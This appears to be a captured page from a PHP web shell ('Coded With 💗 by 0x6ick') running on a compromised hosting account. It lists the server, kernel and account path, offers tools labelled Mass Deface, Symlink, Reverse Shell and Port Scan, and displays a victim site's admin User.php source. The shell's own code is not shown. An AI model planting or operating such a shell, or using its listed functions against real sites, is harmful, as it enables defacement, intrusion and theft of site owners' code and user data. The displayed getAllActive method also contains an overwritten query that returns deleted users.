Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
construcciones
/
admin
/
app
/
Models
/
Viewing: User.php
<?php class User extends BaseModel { protected string $table = 'users'; protected array $fillable = [ 'name', 'email', 'username', 'password', 'role', 'avatar', 'status', 'last_login', 'deleted_at', 'created_at', 'updated_at', ]; public function getAllActive(): array { $statement = $this->db->query('SELECT * FROM users WHERE deleted_at IS NULL ORDER BY created_at DESC, id DESC'); $statement = $this->db->query('SELECT * FROM users ORDER BY created_at DESC, id DESC'); return $statement->fetchAll(); } public function getById(int $id): ?array { $statement = $this->db->prepare('SELECT * FROM users WHERE id = :id LIMIT 1'); $statement->execute(['id' => $id]); return $statement->fetch() ?: null; } public function createUser(array $data): int { $data['password'] = password_hash($data['password'], PASSWORD_DEFAULT); return $this->create($data); } public function updateUser(int $id, array $data): bool { if (!empty($data['password'])) { $data['password'] = password_hash($data['password'], PASSWORD_DEFAULT); } else { unset($data['password']); } return $this->update($id, $data); } public function deleteUser(int $id): bool { return $this->delete($id); } public function toggleStatus(int $id): bool { $user = $this->getById($id); if (!$user) { return false; } return $this->update($id, [ 'status' => $user['status'] === 'activo' ? 'inactivo' : 'activo', ]); } public function emailExists(string $email, ?int $ignoreId = null): bool { return $this->valueExists('email', $email, $ignoreId); } public function usernameExists(string $username, ?int $ignoreId = null): bool { return $this->valueExists('username', $username, $ignoreId); } public function countAll(): int { return (int) $this->db->query('SELECT COUNT(*) FROM users WHERE deleted_at IS NULL')->fetchColumn(); } public function countActive(): int { return (int) $this->db->query("SELECT COUNT(*) FROM users WHERE deleted_at IS NULL AND status = 'activo'")->fetchColumn(); } public function latest(): ?array { $statement = $this->db->query('SELECT * FROM users WHERE deleted_at IS NULL ORDER BY created_at DESC, id DESC LIMIT 1'); return $statement->fetch() ?: null; } public function findByLogin(string $login): ?array { $statement = $this->db->prepare( 'SELECT * FROM users WHERE deleted_at IS NULL AND (email = :email OR username = :username) LIMIT 1' ); $statement->execute([ 'email' => $login, 'username' => $login ]); return $statement->fetch() ?: null; } private function valueExists(string $column, string $value, ?int $ignoreId): bool { $sql = "SELECT COUNT(*) FROM users WHERE {$column} = :value AND deleted_at IS NULL"; $params = ['value' => $value]; if ($ignoreId !== null) { $sql .= ' AND id != :id'; $params['id'] = $ignoreId; } $statement = $this->db->prepare($sql); $statement->execute($params); return (int) $statement->fetchColumn() > 0; } }
Coded With 💗 by
0x6ick